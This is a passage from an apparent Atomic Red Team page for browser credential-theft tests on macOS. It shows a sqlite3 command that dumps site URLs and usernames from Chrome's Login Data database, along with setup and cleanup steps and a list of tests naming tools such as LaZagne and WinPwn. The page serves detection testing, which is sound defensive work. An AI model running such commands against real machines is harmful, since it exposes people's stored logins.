sqlite3 "file:$HOME/Library/Application Support/Google/Chrome/#{chrome_profile}/Login Data?immutable=1" "SELECT origin_url, username_value FROM logins;" > "#{output_file}"
cat "#{output_file}"

Cleanup Commands

rm -f "#{output_file}"

Dependencies: Run with sh!

Description: Chrome's Login Data database must exist for profile #{chrome_profile}
Check Prereq Commands
if [ -f "$HOME/Library/Application Support/Google/Chrome/#{chrome_profile}/Login Data" ]; then exit 0; else exit 1; fi
Get Prereq Commands
brew install --cask google-chrome
xattr -d com.apple.quarantine "/Applications/Google Chrome.app"
open -a "Google Chrome" && sleep 5 && killall -KILL "Google Chrome"

Atomic test(s) for this technique last updated: 2026-10-20 23:56:26 UTC

T1555.001

Credentials from Password Stores: Keychain

T1555.004

Credentials from Password Stores: Windows Credential Manager

On this page

Description from ATT&CKAtomic TestsAtomic Test #1: Run Chrome-password CollectorAtomic Test #2: Search macOS Safari CookiesAtomic Test #3: LaZagne - Credentials from BrowserAtomic Test #4: Simulating access to Chrome Login DataAtomic Test #5: Simulating access to Opera Login DataAtomic Test #6: Simulating access to Windows Firefox Login DataAtomic Test #7: Simulating access to Windows Edge Login DataAtomic Test #8: Decrypt Mozilla Passwords with Firepwd.pyAtomic Test #9: LaZagne.py - Dump Credentials from Firefox BrowserAtomic Test #10: Stage Popular Credential Files for ExfiltrationAtomic Test #11: WinPwn - BrowserPwnAtomic Test #12: WinPwn - Loot local Credentials - mimi-kittenzAtomic Test #13: WinPwn - PowerSharpPack - Sharpweb for Browser CredentialsAtomic Test #14: Simulating Access to Chrome Login Data - MacOSAtomic Test #15: WebBrowserPassView - Credentials from BrowserAtomic Test #16: BrowserStealer (Chrome / Firefox / Microsoft Edge)Atomic Test #17: Dump Chrome Login Data with esentutlAtomic Test #18: Query Chrome Login Data In Place with sqlite3 - MacOS